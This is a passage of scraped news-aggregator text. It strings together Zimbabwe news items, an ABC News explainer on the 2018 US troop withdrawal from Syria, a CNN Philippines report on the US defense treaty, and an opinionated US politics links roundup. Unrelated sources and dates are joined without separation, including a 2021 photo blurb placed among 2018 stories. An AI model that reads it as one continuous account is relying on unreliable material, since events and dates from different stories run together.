had lost any of their benefits. NewsDay Breaking News via Email Loading... Related Zimbabwe Latest News Zimbabwean diplomats are going for months without being paid and now live in dilapidated houses as the cash-strapped government is failing to adequately fund the countrys 46 consulates and embassies, Parliament has heard. A report by the Parliamentary Portfolio Committee on Foreign Affairs, which was presented in the National Assembly on Tuesday, said Zimbabwe was now a laughing stock due to the despicable condition of the countrys embassies, including the poverty that now submerges the countrys diplomats. Zimbabwes embassies do not own properties at diplomatic missions and the Foreign Affairs ministry depends on renting properties for ambassadors, the report, which was presented by Mberengwa South MP Alum Mpofu (Zanu PF), read. The committee has heard of the despicable state of disrepair at the countrys chancelleries and embassies, and diplomats have had to leave their houses because of the state of disrepair and dilapidation. The Foreign Affairs ministry bid for $21,432 million in next years budget to go towards repairs of government properties abroad, but was allocated $12 million. Mpofu said the parliamentary committee recommended that the countrys embassies be reduced from 46 to 28. This must be done after an analysis is made to identify those embassies that should be closed, the committee said. To solve the continued accumulation of debt by embassies, Treasury should allocate money for the purchase and construction of properties for embassies, and priority should be given to those countries where rental costs are very high. The committee also recommended that Treasury ensures that the Foreign Affairs ministrys nostro account is always adequately funded. The ministry should vigorously pursue re-engagement and put special focus on that Zimbabwe should re-join the Commonwealth and ensure the countrys readmission by 2019, the committee recommended. Embassies and staff should get salaries on time in foreign currency, and the Industry ministry should finalise the diaspora policy. Embassies should be equipped to be able to process identity documents and other documents to our nationals. It also recommended that efforts be made to clear all outstanding debts at diplomatic missions to avoid tarnishing the image of the country and to reduce the stress levels of diplomats. NewsDay Breaking News via Email Loading... Related Zimbabwe Latest News Restive civil servants reeling from the countrys precipitous fall in living standards and ever-declining disposable incomes have warned President Emmerson Mnangagwas under-pressure government that they will go on strike next month unless it hikes their salaries massively, the Daily News can report. This comes as the ongoing strike by doctors has entered its third week, after the government failed to address their grievances and demands resulting in operations at public health institutions being severely affected by the industrial action. Now, the entire government workforce is agitating for either mega pay hikes in bond notes, or to be paid in United States dollars, to cushion civil servants from the countrys ever deteriorating economic environment. This comes after government recently rejected outright the public servants demands to be paid in US dollars. Yesterday, the Apex Council which represents hundreds of thousands of civil servants across the public sector was adamant that the government should pay its workers a minimum of $1 733 or the equivalent in US dollars. All the unions have agreed that they will not be able to come to work in January if the government fails to give us a positive response before next month. It doesnt mean that we are calling for a strike, but workers will fail to come to work due to the high cost of living. We did a research in November and we are saying the lowest paid civil servant must get something like $1 733 and we have communicated our position to the government, Apex Council chairperson Cecilia Alexander told the Daily News. If the government fails to give us this amount, they must give us hard cash in United States dollars In our last meeting, the government showed that they had nothing to offer. We tried to tell them that everything has gone up our salaries have been eroded and that there is thus need to increase workers salaries, but nothing came out from that meeting. There is no austerity for prosperity if workers are failing to come to work because they dont have money for transport, Alexander added. The warning by civil servants comes as the government has comes under growing pressure from disillusioned citizens over the worsening local economic situation after Mnangagwa was feted in his early days in office for superintending over arguably the most peaceful elections since Zimbabwes independence in 1980. Zimbabweans have in the past few months had to contend with rising prices of basic consumer goods and widespread shortages of items such as cooking oil which have disappeared from supermarket shelves. Thousands of commuters have also had their travel plans thrown into chaos, due to the current fuel shortages being experienced in the country. In addition, the strike by doctors has been accompanied by embarrassing claims that they are now using condoms as surgical gloves during medical procedures, due to critical shortages of equipment and consumables. The doctors are protesting the severe shortages of pharmaceutical drugs at public hospitals as well as the selling of available drugs in foreign currency by retail pharmacies, the poor state of the countrys hospital infrastructure and their falling salaries which they now want the government to pay in foreign currency. Also at the weekend, panicking authorities arrested teachers who are marching from Mutare to Harare to protest their poor salaries and conditions of service. Yesterday, Alexander also said civil servants were not happy with the governments recent decision to pay their bonuses on the basis of their basic salaries, as well as making them pay vehicle import duty in US dollars. The decision to pay bonus on basic salaries is unacceptable to us and amounts to a withdrawal of a benefit. If workers are also going to pay duty in forex, it follows that salaries should be paid in forex. This proposal on forex will have the effect of excluding civil servants from buying vehicles and some foodstuffs. Our salaries are in RTGS, customs duty is in US dollars and if we convert our salaries to US dollars on the parallel market we get jailed for 10 years, Alexander told the Daily News. Zimbabwe has been reeling from acute shortages of foreign currency for a long time, which have in recent weeks triggered massive price hikes of basic consumer goods. Authorities claim that the decision to charge vehicle import duty in US dollars is part of needed measures to conserve scarce foreign currency and to curb the influx of second hand car imports mainly from Japan. This measure has already seen the government recording a decline in revenue collected from commercial and vehicle imports. Meanwhile, Mnangagwa himself admitted on Friday that his government was battling to fix the countrys myriad economic problems, as manifested by the continually rising prices of basic goods and the acute shortages of foreign currency and fuel among many other ills. However, the Zanu PF leader told his followers at the just-ended Esigodini conference that the government was working hard to try and solve the multiple crises. Government, along with industry, continues to dialogue and interrogate the cost build-ups, towards finding lasting solutions which will bring permanent relief to consumers and greater stability to the economy. We also need to address the question of our own domestic currency once the correct economic fundamentals are in place, he said. DailyNews Breaking News via Email Loading... Related Zimbabwe Latest News DEPUTY Minister of Information, Publicity and Broadcasting Services Energy Mutodi has said Zimbabwe will not stand aside and watch while former First Lady Grace Mugabe is being denigrated and embarrassed by South African courts. Mutodis comments come in the wake of an arrest warrant which was issued by the South African National Prosecuting Authority against Grace Mugabe over allegations she assaulted a South African model Gabriella Engels with an electric extension cable. Mutodi said: We note a warrant of arrest on Grace Mugabe for a crime allegedly committed while she was on a diplomatic visit in South Africa. We make it clear that Zim will not smile on any attempt to embarrass, harrass or degrade former President Mugabe or his immediate family members. Opposition MDC Secretary-General Douglas Mwonzora responded: Does the young woman who was violated deserve justice? Has your government made any offer of compensation for the victim? The South African police are seeking Interpols help to enforce an arrest warrant for Zimbabwes former first lady Grace Mugabe over an alleged assault of a model in Johannesburg last year, a police spokesperson said on Wednesday. After the alleged beating with an electric cable came to light in August 2017, the South African government granted Grace Mugabe diplomatic immunity. That immunity was overturned by a South African court this year after the alleged victim, Gabriella Engels, challenged the decision. I can confirm that a warrant for the arrest of Grace Mugabe was issued last Thursday, South African Police Service spokesperson Vishnu Naidoo said, adding police were seeking Interpols help to enforce it. The incident took place at a hotel in the affluent Sandton neighbourhood when Engels was with two of Mugabes sons, according to the model. Grace Mugabe arrived and lashed out at her without reason, she said. Mugabe later was allowed to return to Zimbabwe without being prosecuted. Representatives of Mugabe have said Engels was the aggressor in the altercation. The warrant means should the former first lady sometimes dubbed Gucci Grace for her lavish lifestyle now enter South Africa she will be arrested. AfriForum, a South African group that represented Engels, said the court ruling allowed police to proceed with an investigation. We believe that this sends out a strong message that nobody is above the law, not even if your surname is Mugabe, said Kallie Kriel, the groups CEO. No comment has been made so far by the South African government. ZOOMZimbabwe Breaking News via Email Loading... Related Zimbabwe Latest News A ROW over sex has spilled to court with the husband demanding conjugal rights after being starved for over two months. Kelvin Chapinduka opened up at the Harare Civil Court where his wife Loveness Magwaza was seeking a peace order against him. Chapinduka told the court that he last had sex with his wife two months ago and was being ejected from a house they co-own in Ruwa. She is saying she no longer loves me and wants me gone. We are still staying together and I tried to have sex with her after she starved me for two months. This resulted in an altercation which was our first since we married, it was a mistake and I have never repeated it, he said. In her submissions, the applicant, Loveness Magwaza said the two were in bad space. Your Worship, I lost my tooth in the altercation and I cant continue living with a violent man. Love no longer exists between us and I want him ejected from the house because our minor children are now afraid of his behaviour, she said. She said the two had agreed to share their belongings before separating. He was supposed to take our commuter omnibus and leave the house for me and the children but he is changing sides. I am willing to share all the property equally and go to have peace without him in my life, she said. In his ruling, magistrate Noah Gwatidzo granted the application by consent. He ordered Chapinduka not to verbally or physically abuse Magwaza but did not order his ejectment since he is a co-owner. HMetro Breaking News via Email Loading... Related Zimbabwe Latest News Staff Sgt. Jacob Connor/U.S. Army(WASHINGTON) -- President Donald Trump ordered U.S. troops to leave Syria on Wednesday, as the White House declared victory over the Islamic State. The announcement was met with backlash from Capitol Hill, including from the president's usual Republican allies, who expressed concerns about what the move could mean for the U.S. and its allies. U.S. troops have not yet begun moving out of Syria because military plans for how the withdrawal will occur are still being finalized, a U.S. official told ABC News. Those plans will ultimately be presented to Defense Secretary James Mattis for his approval. Once that occurs, it is expected that U.S. troops will begin leaving Syria with the expectation that they will all be out 30 days later. The first U.S. troops arrived in Syria under the Obama administration in Oct. 2015 to push back ISIS. At its peak, ISIS controlled territories across Iraq and Syria that were home to about 10 million people. Fifty American advisers were initially sent to Syria. That number grew to more than 500, according to the Pentagon, before officials acknowledged there were approximately 2,000 U.S. troops in Syria. The role of the U.S. troops has been to advise and assist the Syrian Democratic Forces (SDF) -- a Kurdish-led force that now numbers more than 50,000 and is about 40 percent Arab. The U.S. is not involved in direct combat unless it is for self-defense. The SDF has become Americas main fighting force against ISIS and, with the help of coalition airstrikes, has retaken the Syrian cities that had fallen to ISIS including Raqqa, which was the terrorist group's self-declared capital of its caliphate. Those ground victories have pushed ISIS into a small corner in eastern Syria close to the border with Iraq, leaving them with less than 1 percent of the territory they once controlled. Earlier this year, the SDF launched its final push to defeat the last ISIS holdouts in the easternmost part of Syria along the Euphrates River. That fight has stalled due to heavy ISIS resistance and concerns about the Turkish military launching operations against the SDF. What are the security consequences of a U.S. withdrawal from Syria? Critics of Trump's decision to withdraw forces from Syria have cited several concerns, chief among them: the future of ISIS, the Syrian civil war and the Kurds. Though the U.S. and its partners have retaken most of ISIS-held territory and significant numbers of ISIS fighters have died in the fighting, the group is still estimated to have 2,000 fighters in Syria. Despite Trump's declaration that ISIS has been "defeated," State Department and Pentagon officials had cautioned -- as recently as last week -- that the fight is not over, as the coalition and SDF continues offensive operations against ISIS in the city of Hajin. "It's a fight until the end, and they have a lot of booby traps and [improvised explosive devices] and suicide fighters out there," the spokesman for the coalition Col. Sean Ryan told reporters late last month. In the past, Trump has been critical of President Barack Obama's decision to withdraw troops from Iraq, which served to create a vacuum that was ultimately filled by ISIS. In Iraq, where the government claimed victory a year ago, ISIS has developed into an insurgency. The concern is that if local security forces can't hold ground in Syria, the group could not only become an insurgency, but regain its fighting strength and retake territory. The U.S. has been working to train and equip those local forces to prevent just that and stabilize the region, but Chairman of the Joint Chiefs Gen. Joseph Dunford said last week that only about 20 percent of the estimated 35,000 to 45,000 troops who are needed have been trained. There are also concerns that ISIS could once again direct and carry out terrorist attacks overseas. "While ISIS has certainly been degraded over the past two years, its leadership remains intact, and many of its fighters have dispersed ready to reform," said ABC News contributor John Cohen, the former acting undersecretary for intelligence and a former counterterrorism coordinator at the Department of Homeland Security. "How the organization reconstitutes itself is of great concern to national security experts." Could a new war break out in Syria after the U.S. pulls out? Syria has been ravaged by a seven-year civil war as rebel groups sought to overthrow Syrian President Bashar al-Assad. Over half a million people have been killed and more than five million refugees have fled Syria since the conflict began with Assad at times using chemical weapons and barrel bombs against his own people. With Russian and Iranian support, Assads regime has taken back control of much of western Syria from various rebel groups. Meanwhile in eastern Syria, the U.S. and its local partner forces have concentrated on fighting ISIS, in effect creating an autonomous area not under Assads rule. If the U.S. pulls out, Assad and his allies could move to regain control of the country, igniting more violence in areas still working to rebuild. "By leaving Syria, its future has been handed over to Assad, Russia, and Iran, and that may not be in the best interests of the U.S.," Cohen said. A graver concern is the strong possibility that once the U.S. pulls out, Turkey will send its military into northeast Syria to target Americas Kurdish SDF partners. While the U.S. has seen the SDF as valued partners in the fight against ISIS, Turkey considers them to be an element of a Kurdish group that has launched terror attacks inside Turkey for decades. The U.S. military presence in Syria has served as a buffer against Turkey and the Kurds along the border and in the city of Manbij. Last week, Turkish President Recep Tayyip Erdogan said he would launch a military operation against the Kurds in northeast Syria "within a few days," but that hasn't yet occurred. The Kurds who have helped us so much, been such good allies, are now exposed to be taken over by Turkey, Assad, Syria or maybe become victims of ISIS themselves, South Carolina Republican Sen. Lindsey Graham told CNN on Wednesday. A vocal critic of Trumps decision to pull U.S. troops from Syria, Graham has also expressed concerns that leaving the Kurds to fight alone will make it more difficult in the future to work with local partners in the Mideast in confronting radical Islamic groups. Those concerns are not lost on U.S. officials either. Operational commanders have a concern for the security of our partners that have done everything weve asked of them in the fight against ISIS and their perception of this U.S. military withdrawal," a defense official told ABC News Thursday. How many American service members have been killed in Syria? Four American service members have been killed in Syria since the U.S. entered in 2015. Navy Senior Chief Petty Officer Scott Cooper Dayton, an explosive ordnance disposal technician, was killed Nov. 14, 2016 by an improvised explosive device blast in northern Syria. Dayton, 42, was from Woodbridge, Virginia. Air Force Staff Sgt. Leo Austin Bieren of the 21st Space Wing was killed on March 28, 2017 from injuries sustained during a vehicle rollover-related incident in northern Syria. Bieren, 25, was from Umatilla, Oregon. Army Spc. Etienne Jules Murphy, an Army Ranger, was killed on May 26, 2017 from injuries sustained during a vehicle rollover crash in northern Syria. Murphy, 22, was from Loganville, Georgia. Army Master Sgt. Jonathan Jay Dunbar, a member of Delta Force, was killed on May 30, 2018 by an improvised explosive device during a patrol in Manbij, Syria. Dunbar, 36, was from Austin, Texas. Copyright 2018, ABC Radio. All rights reserved. Metro Manila (CNN Philippines, December 20) Would the U.S. come to the Philippines' rescue in case tensions escalate in the disputed South China Sea? The country's Mutual Defense Treaty (MDT) with the U.S. does not provide a clear answer, Defense Secretary Delfin Lorenzana said Thursday, and this is why his department wants a review of the 67-year-old agreement. "We'll look into that, na mareview natin (to review it)," Defense Secretary Delfin Lorenzana said in a press briefing. "Tingan muna natin kung ano yung provision diyan (We'll first see the provisions there), discuss it with them with the end view of reviewing it to make it stronger." The MDT, signed by the Philippines and U.S. in 1951, states that both countries would assist each other when either of them is attacked by a foreign force. This includes armed attack "on the metropolitan territory of either of the Parties, or on the Island territories under its jurisdiction in the Pacific Ocean, its armed forces, public vessels or aircraft in the Pacific," article 5 of the MDT states. Lorenzana described the U.S. as "very ambivalent" on whether the MDT covers islands in the South China Sea within the Philippines' exclusive economic zone (EEZ). The Permanent Court of Arbitration in the Hague recognized the Philippines' sovereign rights in these areas, but China rejects the landmark ruling and continues to claim almost the entire global waterway. "The U.S. has always said that they will not meddle into territorial disputes [saying] 'wala kaming pakialam diyan, hands off kami,'" Lorenzana said. "In fact Scarborough Shoal na napakalapit lang, [124 nautical miles] lang from Masinloc, Zambales, mukhang hindi pa natin masiguro sa kanila na kasama yan sa metropolitan Philippines," Lorenzana added. The Philippines lost control over Scarborough after a 2012 standoff with China, prompting Manila to file a case for international arbitration. The U.S. then said it would "remain in close contact with our ally, the Philippines," without detailing any possible form of intervention. Then Secretary of State Hillary Clinton stressed that the U.S. "[does] not take sides on the competing sovereignty claims to land features in the South China Sea." This remains the position of the U.S. Asked if the U.S. could help the Philippines in its maritime row with China, U.S. Ambassador to the Philippines Sung Kim told CNN Philippines, "I think our position on the whole South China Sea situation has been quite consistent, and you've heard it before many times. We call on all claimants to refrain from any aggressive unilateral actions. We call on all countries to refrain from militarization of those features." Today, what concerns the Philippine government the most is not any possible hostile situation with China but the rising tension between the East Asian giant and the U.S. which could endanger the Philippines. "Since it is being held here dito sa ating backyard lang baka mainvolve tayo (Since it is being held here in our backyard, we might be involved) since we have an MDT with the U.S. baka ma-involve tayo sa bakbakan na 'yan at saka nasa lugar natin e (we might be involved in that war and it's within our area), it's within the West Philippine Sea," Lorenzana said, echoing President Rodrigo Duterte's worries. Although the U.S. is not a claimant country in the South China Sea, it conducts freedom-of-navigation operations in international waters around the disputed area and calls out China's alleged militarization in the region. Duterte earlier said the U.S. and other countries should just accept the "reality" that Beijing "is already in possession" of some disputed areas in the South China Sea to avoid tension in the region. READ: Duterte: South China Sea is now in China's hands, why create friction? Meanwhile, Lorenzana underscored the importance of forging a better alliance with the U.S. "because it is the only country we have an alliance with." PHOTOS The 40 best photos in the month of November by Chicago Tribune photographers From the city to the suburbs and beyond, Chicago Tribune photojournalists visually document what is happening in our neighborhoods, tell the stories of those who live and work in our communities and show the impact that the arts, politics and sports have throughout northern Illinois. In this month's best photos of the month, you'll find photos of reaction from the Kyle Rittenhouse trial in Kenosha, Wisconsin, COVID-19 vaccinations rolling out for children aged 5-11, great sports photos featuring Chicago sports teams, and many moments that tell the story of the lives of people who live in the Chicagoland area. ZANU PF Masvingo Provincial Youth Chairman Brian Munyoro has warned a group of War veterans who staged a demonstration at President Emmerson Mnangagwas Munhumutapa Offices on Monday telling them that they are not untouchable. Speaking in a Facebook video that has gone viral Munyoro said, It is shocking to see these War Veterans asking the President and First Secretary of the party if we still together. This shows the highest level of disrespect for the system they belong to. These war veterans who demonstrated against the President in Munhumutapa Offices with placards covering their faces must know that as the Youth league we strongly condemn them and and assure them that there is nothing that they are going to do to our President. They must stand warned. Be warned! He further added. On Monday some members of the Zimbabwe Liberation War Veterans Association faction aligned to Ambassador Chris Mutsvangwa on Monday staged a demonstration at the Munhumutapa offices calling for President Mnangagwa to walk the talk. The war vets carried banners questioning whether the President was still on the same side with them. The War veterans also called for the ouster of the Secretary General Victor Matemadanda saying he was imposed to lead them and he is not a real War Veteran but a former taxi driver in Zambia. A war has been brewing in the war veterans association pitting Mutsvangwa on one side and Matemadanda on the other. Bulawayo24 Breaking News via Email Loading... Related Zimbabwe Latest News By Lambert Strether of Corrente. Politics But what is government itself, but the greatest of all reflections on human nature? James Madison, Federalist 51 2020 A New Survey Finds Kamala Harris Has Big Support For A Presidential Run From Top Democratic Women Of Color [Buzzfeed]. Nearly a third of the 222 women from She the Peoples survey who responded to a question asking who they would not consider for president named Sanders in their top three because they dont think hed be able to reach women of color, a problem he faced in the 2016 election. So, n = 222. There are not very many of the Shing. Beto ORourke frequently voted for Republican legislation, analysis reveals [David Sirota, Guardian (DJG)]. [A] new analysis of congressional votes from the non-profit news organisation Capital & Main shows that even as ORourke represented one of the most solidly Democratic congressional districts in the United States, he has frequently voted against the majority of House Democrats in support of Republican bills and Trump administration priorities. ORourke has voted for GOP bills that his fellow Democratic lawmakers said reinforced Republicans anti-tax ideology, chipped away at the Affordable Care Act (ACA), weakened Wall Street regulations, boosted the fossil fuel industry and bolstered Donald Trumps immigration policy. I dont see what the issue is. Liberal Democrats want to appeal to wealthy suburban Republicans, especially women, so why shouldnt Beto vote for Republican bills? How Sherrod Brown Turned His Rumpled Authenticity Into A Brand And Gave Himself A Good Story To Tell In 2020 [Buzzfeed]. Sherrod Brown is indeed authentic but like any other successful figure in 2018, he makes sure you see certain parts of himself first. He cares a great deal about reminding you that he doesnt care about his appearance. His perpetually wrinkled suits and shaggy hair are such trademarks that, in his recent campaign, Brown aired an ad tying together the style and substance of his political identity: workers from an Ohio washing machine factory saying Brown looks just fine to them. Oh good. Another trial balloon. Do any Ohio readers have views? The 2040 plan for unexciting Democrats [Matt Bai, Yahoo News]. As I explained in some detail here, a combination of factors in our politics an infatuation with celebrity, the rise of super-PACs, the weakness of incumbents, the declining value of both expertise and TV advertising has created an environment where more candidates will get in and stay in than ever before. And as we saw in 2016, that means that a candidate who can get his or her hooks into 25 percent of the electorate, and hold onto it no matter what, might have just enough support in a fractured field to win the nomination. Which means we know something else, too that the energy in the Democratic Party will be on the reactionary left, as it has been for a few years now. The loudest applause will be reserved for orators who call the social and economic order rigged (as Warren does), and who demonize capital in the society, and who make all kinds of expansive promises they cant really keep. You can see how this works for a candidate like Warren or Bernie Sanders, who champion social justice and can whip up a crowd, and who wont feel the need to say anything that challenges the orthodoxy of the baby-boomer left. What the country needs is a long-term strategic plan. And if youre a drab Democrat with designs on the presidency, so do you. Hence 2040. I dont know about Warren, but Sanders popularity is inversely proportional to age. He is in no sense a candidate of the baby-boomer left. 2018 Alexandria Ocasio-Cortez Says Shes Taking a Week Off for Self-Care [Elle]. Ocasio-Cortez explained that before the campaign, she would do yoga multiple times a week, eat nutritiously, and take time to read and write for leisure. Then, once her campaign began, she says all that went out the window and instead, she found herself eating fast food for dinner and falling asleep in her jeans and makeup. We live in a culture where that kind of lifestyle is subtly celebrated as working hard, she wrote. But I will be the first to tell you its NOT CUTE and makes your life harder on the other end (you wake up worse, energy all over the place, etc).' Thread here. AOC is correct; activists burn out all the time; there are no Beltway think tanks to support them. On the other hand Well, when I was young, I thought things would get easier as I grew older; that there was some sort of plateau that one reaches. There isnt. New Cold War How the Russians attacked Americas democracy [Editorial Board, USA Today] (December 19, 2018). Two new reports for the Senate Intelligence Committee describe how the Russians heavily targeted Americans with deceitful messages on Facebook, Twitter, YouTube, Instagram and other social media platforms It is not unreasonable to see the Russian attack as a sort of digital version of 9/11. No one was killed, of course, but a foreign adversary sought to strike at one of the nations most cherished freedoms: the right to vote in a secure election for president. And while no one will ever know for certain, the Russian efforts in a close election might have changed the course of history. One of the reports was produced by a small firm named New Knowledge, so I cannot forbear from juxtaposing with the following Secret Experiment in Alabama Senate Race Imitated Russian Tactics [New York Times] (December 19, 2018). As Russias online election machinations came to light last year, a group of Democratic tech experts decided to try out similarly deceptive tactics in the fiercely contested Alabama Senate race, according to people familiar with the effort and a report on its results. The secret project, carried out on Facebook and Twitter, was likely too small to have a significant effect on the race, in which the Democratic candidate it was designed to help, Doug Jones, edged out the Republican, Roy S. Moore. And the beauty part? One participant in the Alabama project, Jonathon Morgan, is the chief executive of New Knowledge, a small cyber security firm that wrote a scathing account of Russias social media operations in the 2016 election that was released this week by the Senate Intelligence Committee. BWA-HA-HA-HA-HA!!!!! A few points: First, likely too small to have a significant effect also applies to the Russian online election machinations. Second, the Times seems to believe that the Russians originated such tactics. That seems to me to be an extremely dubious assumption; Hillary Clintons insistence, during the occupation of Tahrir Square and the overthrow of Mubarak, that Egypt not shut down the Internet seems a good deal more sinister in retrospect than it did at the time, given what we now know about the intelligence communitys digital operations. Why is the Times so sure the Russians arent imiitating us? Third, the murky world of the press, the parties, the intelligence community, oppo, and ratfucking is deeply intertwingled, and clearly permeated by actors who will, well, do anything for a buck. I mean, I always figured New Knowledge was talking their book, just like CrowdStrike. But I didnt figure they were talking their book as much as they turned out to be! Finally, if election 2016 was like 9/11, there were a lot of airplanes crashing into the Twin Towers, many of them piloted by Americans. The images of the Russian memes have been published, and theyre all ludicrous; I cant imagine who would be persuaded by them. I live on the Twitter and followed campaign 2016 obsessively; I can testify I never saw one. However, the million-dollar trolls Clinton hired from Brock Those, I think I encountered, or at least trolls inspired by them. So who did more damage to democracy? Outside agitators? Or our political class, all on its own? Oh, and are we now going to see any liberal Democrats yammering that Doug Joness victory was illegitimate? Fat chance! Realignment and Legitimacy The Imagined Threat of a Woman Who Governs Like a Man [Rebecca Traister, New York Magazine]. Ocasio-Cortezs eagerness to flex her muscles, without demurring or waiting for her turn without even waiting to be sworn in is undergirding nightmarish fears about her as an agent of chaos and destruction. Whats scary to so many about Ocasio-Cortez is that shes acting like a politician with power. And apparently, that provokes an almost primal fear. Oddly, since shes writing about AOC, Traisters allow me a moment to break out my word count function, here 1428-word article does not include one word: Socialism. Stats Watch Leading Indicators, November 2018: Rose higher than expected, but October was revised down [Econoday]. Stock prices have been dragging down the LEI but positives for November are led by gains in building permits and ISM manufacturing orders. A rise in initial jobless claims was a major negative in November as well as October but so far this month, claims have been moving lower. According to the report, recent results point to solid 2.8 percent GDP growth in the beginning of 2019 followed by moderation in the second half of the year. Real economy a bit bumpy, but ticking along Jobless Claims, week of December 15, 2018: Initial claims appear to have settled back near historic lows after turning higher during November [Econoday]. The best and most important news in todays report is the second straight headline decline for initial claims, one that hints perhaps at greater payroll growth for the December employment report and should at least ease concern that demand for labor may have begun to ease back. Ticking along Philadelphia Fed Business Outlook Survey, December 2018: The general business conditions index for December slipped well below Econodays consensus range [Econoday]. Yet new orders rose. Employment is very strong. Mondays Empire State report did show cracks in its December report but less so for todays Philly data which, given the strength in orders and selling prices, point to opening-year strength for this report this time next month. Or not Commodities: China steel raw materials drop on demand woes [Reuters]. Chinese coking coal and coke futures dropped on Wednesday, but closed off the days lows, as steel producers continued to seek lower prices for the steelmaking raw materials due to shrinking profit margins. Profit margins at Chinese steel mills narrowed sharply in November amid plentiful supply as the government scrapped blanket production restrictions for winter aimed at tackling smog. Beijing instead allowed cities and provinces to set their own output curbs based on emissions. Shipping: Port Houston has invested hundreds of millions of dollars to accommodate the larger container ships now prevalent in seaborne trade. Houston is also the largest U.S. gateway for energy exports, and those producers want the port to limit the longer box ships to one vessel a week. Houstons 50-mile channel now handles two-way traffic, but it may not be big enough for two upsized maritime sectors [Wall Street Journal]. The Bezzle: A huge lawsuit accuses nearly 20 big drug companies, a billionaire, and 2 brothers-in-law of cozying up to hike drug prices. Heres the inside story. [Business Insider]. Attorneys general for most US states are bringing a large federal antitrust lawsuit against nearly 20 generic-drug makers, alleging they illegally collaborated to jack up drug prices. Common drugs had their prices doubled, tripled, or even increased by 1,000% or more, costing taxpayers and patients and violating federal and state competition and consumer-protection laws, the federal antitrust suit alleges. Hoo boy. Generics are supposed to be cheap! The Bezzle: More snark on Elons submarine tunnel: Burning to death, trapped alone in a repurposed sewer tunnel, because Im afraid of the bus https://t.co/16Uf3Dfb6j Fill Oaks (@FillOaks) December 19, 2018 I believe tunnels are supposed to have parallel escape tunnels in case of fire. So its a good thing battery fires never happen with Tesla. Oh, wait The Bezzle: China bike-sharing firm Ofo faces immense cash crunch, CEO vows to battle on [Reuters]. Ofo, which started in university campuses in Beijing and expanded to countries around the world, has become something of a cautionary tale about the rapid debt-fueled boom and bust of new technology enterprises in the country. Chinas bike-sharing industry has seen firms burn through hundreds of millions of dollars in the fight to dominate key cities, with several going under or taken over. The Bezzle: Mark Zuckerberg did everything in his power to avoid Facebook becoming the next MySpace but forgot one crucial detail [The Register]. The deck: No one likes a lying assh*le. This is an excellent article! Governance: Nissan Is a Corporate Governance Nightmare [Josh Barro, New York Magazine]. The context of the charges made clear that [former Nissan chairman and CEO Carlos Ghosn] had kept not just the Japanese government (and the public) in the dark about the size of his compensation package, but also much of Nissans board. How was this possible? How could a company be unaware of how much it was paying its own CEO? Everything is like CalPERS Gaia Against Human Extinction [Nathan J. Robinson, Current Affairs (nycTerrierist)]. In the New York Times, philosopher Todd May considers a question that has never really entered my mind: Would human extinction be a tragedy?.. [May] thinks that the harm human beings inflict on the world cannot be stopped. This is a little weird to me: To think that stopping human beings from existing at all is somehow more of a plausible option than stopping factory farming and human-made climate change means an extreme form of pessimism about the possibilities for changing our actions. As he says, the elimination of these wrongs would likely require the elimination of the species. Respectfully, what the f*ck? May says this as if its a giventheres not a shred of argumentation offered. He thinks well just nod and agree that its impossible to stop climate change, factory farming, and the destruction of ecosystems, that they will only come to an end if we commit civilizational suicide. Im sorry, but thats not the sort of proposition you can just state as an uncontroversial fact. Especially because these are all extremely recent phenomenamodern-day industrial animal farming began within the lifetimes of presently-living people It is the job of socialists, and really anyone who cares about their fellow creatures, not to fall into despair or conclude that extinction is the only option. Hopelessness is what conservatives want, and pessimism means death. Todd Mays thinking is dangerous, suicidal, wrong. Reject it. Rising Waters Are Drowning Amtraks Northeast Corridor [Bloomberg]. Parts of Amtraks Northeast Corridor route, which carries 12 million people each year between Boston and Washington, face continual inundation. Flooding, rising seas, and storm surge threaten to erode the track bed and knock out the signals that direct train traffic. The poles that provide electricity for trains are at risk of collapse, even as power substations succumb to floodwaters. If one of the segments of track shuts down, it will shut down this segment of the NEC, warned members of Amtraks planning staff. There is not an alternate route that can be used as a detour.' Taken from a (redacted) report obtained by Bloomberg from a public records request. De-Growth vs a Green New Deal. [New Left Review]. Returning to climate change, it is in fact absolutely imperative that some categories of economic activity should now grow massivelythose associated with the production and distribution of clean energy. Concurrently, the global fossil-fuel industry needs to contract massivelythat is, to de-grow relentlessly over the next forty or fifty years until it has virtually shut down. In my view, addressing these matters in terms of their specifics is more constructive in addressing climate change than presenting broad generalities about the nature of economic growth, positive or negative. Guillotine Watch Five Deeps mission to explore mysterious ocean trenches [Nature]. He scaled Mount Everest and the highest peaks on the six other continents. He skied to the North and South poles. Now, Victor Vescovo, the multimillionaire co-founder of a private equity company in Dallas, Texas , wants to be the first person to visit the deepest point in each of the five oceans. This week, Vescovo was set to complete the first dive in the yearlong Five Deeps Expedition, piloting a titanium-alloy, 12.5-ton submersible down 8408 meters to the deepest part of the Atlantic Ocean, in the Puerto Rico Trench. Five Deeps may look like a vanity project, but for scientists, it is a rare opportunity to study inaccessible, mysterious places. If there wasnt this rich guy, there is not any funding agency that would be willing to spend so much money to visit all those areas, says Ann Vanreusel, a deep-sea biologist at Ghent University in Belgium. Well, who knows. But even Ive shocked by the lead. Puffery about a squillionare? In Nature? Which editor thought that was a good idea? UPDATE Anand Giridharadas on elite do-gooding: Many of my friends are drunk on dangerous BS' [Guardian]. Giridharadas was bothered by [the Aspen program], and particularly by how the program seemed to encourage elite participants from tech giants and hedge funds to start philanthropic side-hustles doubling as vanity projects, rather than find ways to do less harm in their day jobs. (At a Goldman Sachs-sponsored lunch put on at a fellowship reunion, for instance, the corporate giants role in the 2008 financial crisis went unmentioned as its do-gooding was praised.) As we see above. Class Warfare NYC Subway Chief Warns of Death Spiral Without $40 Billion Fix [Bloomberg]. Tunnels and robot cars! Thats the answer! News of the Wired They write parody poems: Things fall apart, the icebox cannot hold Mere sweetness is loosed upon the world The plum-dimmed tide is loosed, and everywhere The ceremony of breakfast is drowned https://t.co/bxKYyHerY6 The Wombat Resists (@UrsulaV) December 20, 2018 The first is a pastiche of William Butler Yeats and William Carlos Williams; the second of Williams and Henry Reed. Can Hot Peppers Make Me Happy? [New York Magazine} Yes, obviously. More: Recently Ive been experimenting with mood-modification through temperature extremes (like hot and cold bathing). The heat of a sauna, for instance, supposedly triggers a rush of pleasurable hormones and so, apparently, does the heat of a chili pepper. I like hot sauce, and this seemed like a good enough excuse to experiment. I dunno. The American approach to spicy food seems to approach it as a sort of endurance contest, a sport: Sweating, enduring pain, bonding through shared discomfort, etc. But one sees countless Southeast Asians devouring extremely spicy food on a daily basis without turning a hair. So perhaps this article is more about Americans than hot peppers? So I still use Facebook cause Im an immigrant and have to because family but if youre in the same situation, theres one way to make it less sh*t' [Dan FIxes Coin-Ops, Mastodon]. YOU CAN TURN THAT WHOLE EMOTIONALLY-ABUSIVE SURVEILLANCE ECOSYSTEM 